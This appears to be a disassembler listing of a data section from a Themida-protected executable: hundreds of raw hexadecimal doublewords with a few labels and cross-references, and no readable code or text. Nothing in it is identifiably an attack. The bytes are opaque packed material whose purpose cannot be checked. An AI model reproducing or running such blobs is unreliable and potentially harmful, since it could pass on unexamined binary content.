		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C0C35343h, 0FC026216h
		dd 1EE3BC2Fh, 0DF07EF81h, 0C28306F2h, 9D896004h, 6150CA5h
		dd 0FAB70F61h, 0B3205089h, 58858D4Eh, 8B0618D4h, 0B88689FAh
		dd 0E9000000h, 14h, 463C25D4h, 8113340Bh, 0C49E4115h, 764E929Ch
		dd 0FF4786ABh, 2D31B529h, 6A0615h, 8F0Fh, 0B5FF0000h, 618BF99h
		dd 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C9C35141h, 6850F70h
		dd 3000000h, 150981BDh,	0A6F78006h, 1D4D95FFh, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0C19852C3h, 26523554h, 33A25966h, 1513719Dh,	5096F906h
		dd 89D5BB66h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 1115D122h, 8BDD4553h, 99B5FFFEh
		dd 0BF0618BFh, 4244F709h, 72995FFh, 0F3BB0615h,	83623C8Dh
		dd 150065BDh, 840F0006h, 5Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 9DC35343h, 576C929Ah, 0C381B54Fh
		dd 1C5C1F77h, 5E950h, 98F40000h, 891F49C3h, 0DE82434h
		dd 67000000h, 138C91A2h, 0B95CB2B9h, 99B80E75h,	10E9h
		dd 0B50EE800h, 0F1248726h, 0AB83019Bh, 534AC79Dh, 0B5FF5BF4h
		dd 618BF99h, 2DF8F781h,	95FF2DD0h, 6150439h, 37A3BF60h
		dd 9D0910F5h, 6150451h,	99B5FF61h, 6A0618BFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 993FC355h, 0C8C7CB2h, 2C718D01h, 95FF0615h, 6150DCDh
		dd 0DE8h, 11758A00h, 73B89833h,	63D9E7EEh, 5FFC6177h, 285DBD83h
		dd 0F020615h, 3C84h, 65850900h,	8B061518h, 15284985h, 0FB8B6606h
		dd 12E4F781h, 0C624C2h,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8D0F4B8Dh, 1, 0F585C7F5h
		dd 61523h, 8B000000h, 152B45BDh, 919D8B06h, 0E9061505h
		dd 0FFFFF2A7h, 6AC18Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 55847C3h, 74BB662Ch, 0CF816606h
		db 1Bh,	47h
word_5BED76	dw 858Dh		; DATA XREF: Themida_:0057A7F8o
		dd 615279Dh, 398D8B60h,	9061513h, 15182D9Dh, 0CF816106h
		dd 6880ED7Ch, 12E850h, 538D0000h, 0B4753F21h, 0B32C96E4h
		dd 0BAD2EB9Bh, 5FF4B5A4h, 0F7C20EBBh, 4895B6Ah,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 600CE4BAh, 840Fh, 0BD8B0000h, 6152789h, 6A006A61h, 0AE900h
		dd 130000h, 332BA79Fh, 2187991Ah, 54D1858Dh, 6A0619h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E3C667C3h, 0DEA71C28h, 95892C49h, 6152219h,	8905C083h
		dd 150A85BDh, 8EB35006h, 31240489h, 15137185h, 0A810F06h
		dd 0E9000000h, 5, 5EBA8C62h, 1006A50h, 150B7D95h, 0FF006A06h
		dd 15267995h, 58D8906h,	8D06151Eh, 189C158Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 707840FEh, 80FB67C7h, 0E59D8BC6h, 8B061514h,	151A35BDh
		dd 89D1FF06h, 15303585h, 0B5BD8306h, 106152Dh, 5A850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 335F5BC3h, 95094E0Eh, 6150321h, 9D8B026Ah
		dd 6150A69h, 14E950h, 34980000h, 807FD7CEh, 1A8F279Ah
		dd 3495DB3Dh, 2D523235h, 489B15Dh, 0F9BF0F24h, 1D4D95FFh
		dd 95890615h, 61528D5h,	0CFEE9h, 0E800h, 815D0000h, 1954DBEDh
		dd 0CE906h, 765B0000h, 2C7336FEh, 155B2CFEh, 6A01E3h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0D0C044C3h, 9D8B1A92h, 61523E9h, 88F9858Dh, 85890618h
		dd 6151379h, 24048950h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 94C35646h, 0DCC686F8h, 35FF643Fh, 0
		dd 2F41B509h, 0BD8B0615h, 6152555h, 258964h, 66000000h
		dd 6960F381h, 3800Fh, 0B70F0000h, 3585FFFEh, 8B061515h
		dd 0FFFF6AFEh, 152F59B5h, 0E9BD8B06h, 0E9061515h, 13h
		dd 0DFC1A589h, 897F16D7h, 8B77BD54h, 0A8E6F944h, 0FF44BD7Bh
		dd 1508BD95h, 10CE906h,	8B660000h, 8900B0FBh, 15262595h
		dd 758D8906h, 0E6061524h, 9E970h, 0B1850000h, 0E23BFFA1h
		dd 0E45A4984h, 11E871h,	18D50000h, 5E4D9E88h, 0FA8C22C1h
		dd 97F0A6B6h, 8BA6DA18h, 613C5FDFh, 0C8830Fh, 8D090000h
		dd 6152B1Dh, 0B3C8B60Fh, 38A0F7Eh, 0F000000h, 6BAF9BFh
		dd 0BB000000h, 1323C99Fh, 8B66C18Bh, 4E8C1F9h, 0E2F766F5h
		dd 0A259D89h, 0C82B0615h, 0BD39D781h, 0D18B5901h, 49B58952h
		dd 5B061503h, 1E9h, 858BF900h, 6151D91h, 5698501h, 0C0830615h
		dd 6E95707h, 36000000h,	147985ECh, 0C0835B8Ah, 0C99D0300h
		dd 0F061511h, 286h, 3B62B300h, 10830FD0h, 0BF000000h, 3B3555C1h
		dd 41E9h, 0E19D8B00h, 8B061520h, 1528718Dh, 51858906h
		dd 8306152Ah, 840F01E1h, 26h, 66DEBF0Fh, 83BEA6BFh, 152871A5h
		dd 957FE06h, 150461B5h,	95895B06h, 6151D91h, 0DE7911BBh
		dd 0E931h, 0B58D0000h, 618E1BCh, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 16h, 83C35747h, 0C7813F5Eh, 2902C73h
		dd 6651006Ah, 5F9D61BBh, 2E2195FFh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 761B4EC3h
		dd 899D8BBEh, 0B9061525h, 0DD2h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 17h, 79C35343h, 66CC061Ch, 830ADCBFh
		dd 3EBBFCE1h, 0E9131682h, 9, 0E4A280B7h, 806CF5B4h, 8589FC01h
		dd 6151135h, 0ADF78166h, 6AC02B6Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4D63C355h
		dd 0B549BB51h, 8B5B700Ah, 151E6D9Dh, 0BA06h, 0DB800000h
		dd 0C233AD8Dh, 0D003E8D1h, 7504E983h, 0DDB589F4h, 6A061510h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0D0A4C353h, 0CE97CB6h, 0D1000000h, 921481B0h
		dd 4AB1CC16h, 0D855F1Dh, 88h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 8DC35646h, 0D97379DAh, 958B0427h
		dd 6152721h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	10C35747h, 4CD8D8Bh, 8B500615h,	3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	25E59D8Bh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 8F4CBEC3h
		dd 0FE8B6669h, 18A9BD83h, 0F000615h, 5A84h, 7BE78100h
		dd 6665657Fh, 8DFCDB81h, 0B8h, 11E900h,	98DF0000h, 7C1F66C4h
		dd 0AECEADEBh, 874F59BDh, 8DA354C7h, 154F9E8Dh,	6D9D2306h
		dd 0FF061513h, 53006AE1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 159D8B22h, 6606152Fh
		dd 836DA9BBh, 151115BDh, 840F0006h, 41Ah, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0F3C35646h, 6E136B20h
		dd 0E9500091h, 0Bh, 0D8532E8Dh,	81CA6770h, 5B1D376Eh, 0F18D0153h
		dd 5B061508h, 1115BD83h, 0F010615h, 3EC84h, 618D8900h
		dd 8306150Ah, 151115BDh, 860F0306h, 3A3h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 23C35242h, 49837FD0h
		dd 12E9DFh, 772F0000h, 8936A40Dh, 0C2474ADh, 0B2985D6Ah
		dd 4A8804E5h, 11E9F860h, 0E8000000h, 0CA7BBF89h, 327EB85Dh
		dd 6F9C6FADh, 26034DB5h, 6AD98C66h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 10CFC355h
		dd 0C9BD8B31h, 0F061521h, 84h, 4E18000h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0AAC35343h, 7B8B8C29h
		dd 3BBDE76h, 0A3EEE8Dh,	12840FC9h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1061C352h, 858B14F3h, 615249Dh, 0AA1ADB81h, 7E93699h
		dd 0E1000000h, 2EDB20C3h, 85339611h, 61519B5h, 81FAB70Fh
		dd 906C9EBh, 52505034h,	5B565250h, 0EAB7310Fh, 310F585Ah
		dd 489585Ah, 68A0F24h, 81000000h, 2DB1D0E3h, 6AF818h, 158A0Fh
		dd 10E90000h, 0F3000000h, 3BB7F581h, 2A9CBC7Ah,	0EFE802D6h
		dd 68B4735Eh, 7B40FD3Ch, 0E9525060h, 9,	0C210EA88h, 0F93DC087h
		dd 0BB310FCDh, 366F3668h, 5250585Ah, 9E8h, 0E1C98A00h
		dd 9DAEEE08h, 0F5A802Ch, 9216BB31h, 585A379Ah, 24348161h
		dd 7B5FFEC3h, 953DB81h,	95FF64C9h, 6150DADh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0AEC35040h, 374E550Dh
		dd 0AC3641FDh, 8589F88Bh, 618BF99h, 6830Fh, 0BD8B0000h
		dd 6151849h, 18FE9h, 95BB6600h,	91858B0Fh, 890618BFh, 1509E995h
		dd 1800C706h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0C232C350h,	860F8161h
		dd 6, 12BDB589h, 0B58B0615h, 618BF95h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 55C35141h, 0A4EC67A2h, 8B9D39F7h
		dd 1525919Dh, 45858B06h, 8906150Ch, 15104195h, 81068906h
		dd 9CA8BCF3h, 9D858B4Fh, 0B061524h, 152CAD9Dh, 4468906h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A0C35343h
		dd 24E36291h, 6D7E2DCDh, 0B58960CAh, 615257Dh, 746B966h
		dd 8B665061h, 243489DEh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0FFC35141h, 219D8BD5h, 0FF061510h, 18BF91B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 852956B8h, 61517A9h, 4CEAD068h, 81FB8BF0h
		dd 192F2404h, 6A0FD2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 7043F0C3h, 8B661BB8h, 99858DDFh
		dd 810618BFh, 0F45089CFh, 8B665043h, 240489FAh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h, 0FC1B7C2Fh
		dd 0D553BF66h, 86D9D8Bh, 95FF0615h, 6150DADh, 0E1E1BB66h
		dd 81666061h, 61F4DAD9h, 111585C7h, 30615h, 0BF0F0000h
		dd 99BD83FAh, 618BFh, 35840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 44BC02C3h
		dd 87A78BD8h, 9D8B8EAFh, 6150669h, 21E9h, 8F0F00h, 50000000h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 7E9C08Bh, 79000000h,	8355A05Bh, 0B70F79DFh, 1BD09FFh
		dd 83061501h, 151115BDh, 850F0306h, 45Ch, 0E852006Ah, 3
		dd 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 4C35242h, 72300E7Dh, 9D238626h
		dd 6150CEDh, 0BF99BD83h, 0F000618h, 42784h, 0AE900h, 75340000h
		dd 0B64C171Bh, 5B31BE10h, 0B5FFFB8Bh, 618BF99h,	0DC01CB81h
		dd 95FF1BCFh, 61510E1h,	5B98D89h, 7E90615h, 0E5000000h
		dd 1E4A8804h, 0B58B3DC9h, 618BF8Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 7EC35747h, 899DFF33h, 150DD1B5h
		dd 106C706h, 8B000100h,	1524B1BDh, 6E806h, 185B0000h, 83DA0F1Eh
		dd 0BE8h, 0C1968300h, 0AC9E592Ah, 67AE58CAh, 840Fh, 5B5B0000h
		dd 5E850h, 222A0000h, 0E934C727h, 5, 891A4352h,	34895FF9h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0CC0F2077h, 0C0D843D8h, 0F59D8924h, 8906150Fh
		dd 1502D5B5h, 0FFD88A06h, 18BF99B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 254E891h, 633D326Eh
		dd 11FBBF3Bh, 95FF6DBDh, 61506A1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0D7C35646h,	231420F6h, 6671D46Bh
		dd 8B9907BBh, 18BF8DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 3B33FA33h, 0BFE2ACF6h
		dd 7D9BD8Bh, 858B0615h,	6150059h, 8689FBB3h, 0C4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CEC35646h, 4D9D8BF8h
		dd 8B061517h, 15272195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 45C7AE78h, 0D9BF0F59h
		dd 2904C283h, 1508B99Dh, 20508906h, 0D458858Dh,	0BB660618h
		dd 8689394Bh, 0B8h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 53C35141h, 1D8D896Dh,	29061500h, 15022D8Dh
		dd 89006A06h, 1518419Dh, 99B5FF06h, 6A0618BFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 4632C352h, 95FFFE11h, 6151D4Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 97C35343h, 119474DDh, 11EF81DCh
		dd 603F50E5h, 6D18D23h,	0BD8B0615h, 6152EA1h, 0DE85061h
		dd 0BE000000h, 68354A59h, 0B6CCED09h, 9EC76190h, 11E860h
		dd 20DE0000h, 951F952Ch, 0B9C48100h, 6C9FBF4Dh,	5E6C2A72h
		dd 5E8h, 27843000h, 61594B49h, 2434895Fh, 0FFD9B70Fh, 18BF99B5h
		dd 0F8BB6606h, 2995FFB2h, 6A061507h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4EA1C351h
		dd 13E80Bh, 90160000h, 0C7E8AA01h, 9A57912Fh, 1C2B3264h
		dd 71D24058h, 835FF88Fh, 150065BDh, 840F0006h, 35h, 2ACD9589h
		dd 60500615h, 5B5B5756h, 8961EA8Ah, 6A2434h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 90DE5CC3h
		dd 0B46B4319h, 99B5FFC2h, 660618BFh, 95FFDA8Bh,	6150439h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 1C35040h
		dd 81C06173h, 4A01A6EFh, 0DA8B6650h, 0BF99B5FFh, 6A0618h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0E6505DC3h, 7BC2B4BFh, 2DBD8B77h, 0FF061517h, 150DCD95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 8D290596h, 6151D81h, 285DBD83h, 0F020615h
		dd 4884h, 800FF900h, 15h, 0AE960h, 4EB0000h, 864532C6h
		dd 9BB535C9h, 8F86B866h, 49858B61h, 6A061528h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 6698C355h, 0A80FD781h, 8B0000C6h, 0F585C7F8h, 61523h
		dd 66000000h, 0BF6FC781h, 0FFF3D4E9h, 8B18B3FFh, 55006AC1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0FA5825Fh, 685h, 1D9D8B00h
		db 19h,	15h, 6
byte_5BFC03	db 8Dh			; DATA XREF: Themida_:0057AD70o
		dd 15279D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0AC1F646h, 2D563C15h, 90FABF0Fh
		dd 0C2B35250h, 71BF310Fh, 5A048C6Dh, 0E9605058h, 0Eh, 879DEB8Ch
		dd 0E4C2C7E5h, 0B16FB8D4h, 0B660726Bh, 61616005h, 95899061h
		dd 6152D8Dh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 4055B7C3h, 821B3A29h, 9B42709h
		dd 15059185h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 77E9C353h, 63F2858Dh
		dd 81660619h, 83CE24C7h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0B189C2C3h, 61F9D97Dh
		dd 66525090h, 310FDF8Bh, 3800Fh, 8B660000h, 50585AFEh
		dd 6A901EB7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0F57BC356h, 1381BD8Bh,	6AFC0615h
		dd 45B50900h, 6A061509h, 7995FF00h, 8B061526h, 152DF19Dh
		dd 158D8D06h, 6A06189Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0B5BBC350h,	99FF4FC1h
		dd 0D2D984F2h, 0BE9D1FFh, 0BE000000h, 90D3676Fh, 0C1385824h
		dd 0BD83B874h, 6152DB5h, 0AA850F01h, 89000000h,	1512F1B5h
		dd 0D3E78006h, 6A026Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 27FD55C3h, 0E1B35028h, 5998509h
		dd 50500615h, 8E85052h,	0EB000000h, 8204670Ah, 5B62880Ch
		dd 66310F5Fh, 5A1981BFh, 24048958h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 7BC35242h, 9E956524h, 4D95FFF0h
		dd 6A06151Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0AD11C351h, 494ECF8Ch,	0B70FF5BCh
		dd 68E0FF8h, 89000000h,	15156D85h, 0DADE906h, 0E80000h
		dd 5D000000h, 63FCED81h, 6A0619h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0ED8976C3h, 0BD8B644Ch
		dd 61502CDh, 3089BD8Bh,	6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0C15688C3h, 8F60FEAh
		dd 0F9858DF8h, 6A061888h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 8AE2C352h, 0D6D5EA07h
		dd 9501BE1Bh, 6150305h,	58E0F90h, 0BB000000h, 7100125Ah
		dd 0F88B6650h, 35FF6490h, 0
		dd 1D119D8Bh, 89640615h, 25h, 0A5BD8900h, 66061502h, 85FFD98Bh
		dd 6151535h, 5AC7E3BBh,	6AFF6A57h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 17BFC353h
		dd 0B5FFC280h, 6152E0Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 38C35747h, 2951D825h,	150AB1B5h, 95FF5B06h
		dd 61508BDh, 146E9h, 7E900h, 426E0000h,	78817F7h, 900B0F8h
		dd 1511258Dh, 5170E606h, 2225BD89h, 0E45F0615h,	0A1BD8B71h
		dd 3C061527h, 18830F61h, 0F000001h, 8B0FC8B6h, 10h, 0BE9h
		dd 0C3FFB900h, 20F1FBA6h, 0CB3D0AF9h, 0EFD78166h, 6BA37h
		dd 8B660000h, 7D8589DAh, 8B061505h, 9919BBC1h, 0E8C1044Dh
		dd 0F766FC04h, 10E8E2h,	31A10000h, 34B337D4h, 868B697Bh
		dd 18D86B27h, 0DE9E8F5h, 50000000h, 6C70374Bh, 0CBDAC72Dh
		dd 38333106h, 29C82B5Bh, 150A9585h, 0B9BD8B06h,	8B061528h
		dd 0EE9F8D1h, 60000000h, 2781B589h, 9D890615h, 61502E5h
		dd 8D858B61h, 0E9061527h, 0Eh, 0D7E0F500h, 0F2963231h
		dd 0DAB75ECBh, 0C0834B5Bh, 0C19D8B07h, 8306150Fh, 9D0100C0h
		dd 6153389h, 830FD03Bh,	24h, 13850F60h,	0E9000000h, 0Eh
		dd 5F54232Fh, 0A830C432h, 2BB4D215h, 61FC2D4Eh,	3EE9h
		dd 0DF8B6600h, 4E18D8Bh, 83F80615h, 840F01E1h, 2Bh
dword_5C005C	dd 850Fh, 0A5830000h, 61504E1h,	0D38166FEh, 9589FF3Fh
					; DATA XREF: ___:off_443E9Co
		dd 615278Dh, 6870F51h, 0F000000h, 8Ch, 0E95F00h, 8D000000h
		dd 18F145B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0D19BA1F5h, 12E9A84Ch, 0FE000000h
		dd 752260E3h, 7EA38339h, 91A30C0Bh, 0D21D2F63h,	29006A4Ch
		dd 1510FD85h, 2195FF06h, 2B06152Eh, 152665BDh, 882B906h
		dd 0D7810000h, 3E5F7CFAh, 6AFCE183h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 8AC5C353h
		dd 66031440h, 6AFCF98Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 2E51C355h, 0BBFEBF0Fh
		dd 662D1FD3h, 0B8h, 0A5BD8B00h,	56061511h, 0CE8h, 0AA0DF500h
		dd 49F55B4Ch, 0C912CE89h, 5B5FFC59h, 0BAh, 0ADDE8B00h
		dd 0E8D1C233h, 0E983D003h, 8BF47504h, 1502C5BDh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 8DBB81C1h, 8FAACED1h, 0FC98D89h, 880D0615h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 81A0C355h, 8D4758DFh, 21958B49h, 66061527h
		dd 0BDB2EF81h, 4CD8D8Bh, 0C7810615h, 3180CEE1h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 51B940C3h
		dd 0E87B0310h, 0Eh, 9B2838B9h, 7EA68CCEh, 38BCB610h, 0AE8CB55h
		dd 0C7000000h, 6D94D052h, 58686EB8h, 0B59529BCh, 5B061504h
		dd 9D85315Bh, 6A061518h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 4772C355h, 9C2721ABh
		dd 0BD835EA7h, 61518A9h, 4B840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0ED92C353h, 0D25209A7h, 0B5295F7Bh, 61503CDh, 0B8h
		dd 0B9BD8B00h, 8D06150Dh, 154F9E8Dh, 3860F06h, 80000000h
		dd 0E1FF31CFh, 9C9BD8Bh, 0BD830615h, 6151115h, 5F840F00h
		dd 56000004h, 5FDEBF0Fh, 1115BD83h, 0F010615h, 46884h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8E8BFFEh, 38000000h, 0A22B3882h,	0F08F7EDh
		dd 1883h, 12E800h, 0F5E50000h, 3C07BC33h, 80B9E1A8h, 5A65C314h
		dd 6AABFB2h, 9D335F5Fh,	61501DDh, 1115BD83h, 0F030615h
		dd 3D686h, 91BD8B00h, 6006151Eh, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0DEC35747h,	0ACFA62DEh, 22F2B766h
		dd 8C66D98Ah, 0E18D89D9h, 80061526h, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 11E8C2C3h
		dd 56000000h, 0FCE46AFDh, 8F5BDE29h, 494BB20Eh,	2C32F777h
		dd 68A0Fh, 95290000h, 61511D5h,	0FC90A5Fh, 10084h, 0FA8B6600h
		dd 249D858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E24713C3h, 19B58533h, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E276E7C3h, 0DCA3E9F1h, 0BFA3DCEAh, 6268DC06h, 89D98A50h
		dd 8B662404h, 66006AF9h, 6851E3BFh, 9F7B96C6h, 5800Fh
		dd 47BF0000h, 817B31A3h, 6D392404h, 6A60A3h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9BFB40C3h
		dd 0FB683753h, 8AF74023h, 0AD95FFFEh, 6A06150Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A995C355h, 13A4436h, 1526B585h, 99858906h, 0F0618BFh
		dd 1985h, 14E900h, 0D82D0000h, 730CBB7Ah, 0F1392302h, 0F70BF796h
		dd 3A598EE6h, 0A8E96AABh, 9000001h, 15098995h, 91858B06h
		dd 6A0618BFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 293CC351h, 15168185h, 1800C706h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 5588C351h, 29B9C5Bh, 45C334BBh
		dd 7E9h, 9FB70900h, 14D235D4h, 95B58BF8h, 8B0618BFh, 1507559Dh
		dd 45858B06h, 6606150Ch, 8B75F5BBh, 152681BDh, 6A068906h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 7FBBC355h, 33C9BD0Bh, 0B5290615h,	6150C01h
		dd 249D858Bh, 0BD8B0615h, 6152219h, 6A044689h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0B50FC352h, 7723C0EDh, 2F819D89h, 0E8500615h, 12h, 0A55A167h
		dd 0F04DD021h, 0C69F1974h, 6BF89FEBh, 0F60DB0Bh, 82h, 10E800h
		dd 0DB7D0000h, 27E95DD5h, 2FCA9DD4h, 0E1800C9Ah, 61597D21h
		dd 2434895Fh, 0C686BB66h, 0BE7EF781h, 0B5FF7063h, 618BF91h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7DC35242h
		dd 0BE0BE099h, 0BF72F59Ah, 48633D0Dh, 38BF6660h, 0EF8166B8h
		dd 6861C225h, 0D3237BE2h, 5850Fh, 0C3BB0000h, 813F636Bh
		dd 881D2404h, 80602CFBh, 0BD89C9EDh, 6152AD5h, 99858D61h
		dd 310618BFh, 151411BDh, 840F5006h, 4, 6723BF66h, 8B240489h
		dd 1506E1BDh, 0AD95FF06h, 6106150Dh, 0BE956h, 0B0150000h
		dd 682C6585h, 0C3A44896h, 8B665BF5h, 1585C7DFh,	3061511h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 1CFCC353h, 5D53293Bh, 0AE85C47h
		dd 0C0000000h, 5E060EDBh, 6A35DCC4h, 20BB66ECh,	0BD835F5Ch
		dd 618BF99h, 50840F00h,	0E8000000h, 14h, 0C130933Fh, 0BA8B0DBCh
		dd 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0BE9h, 5E219000h
		dd 0F34F050Dh, 438CE125h, 3CE95Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816676C3h
		dd 506222E3h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
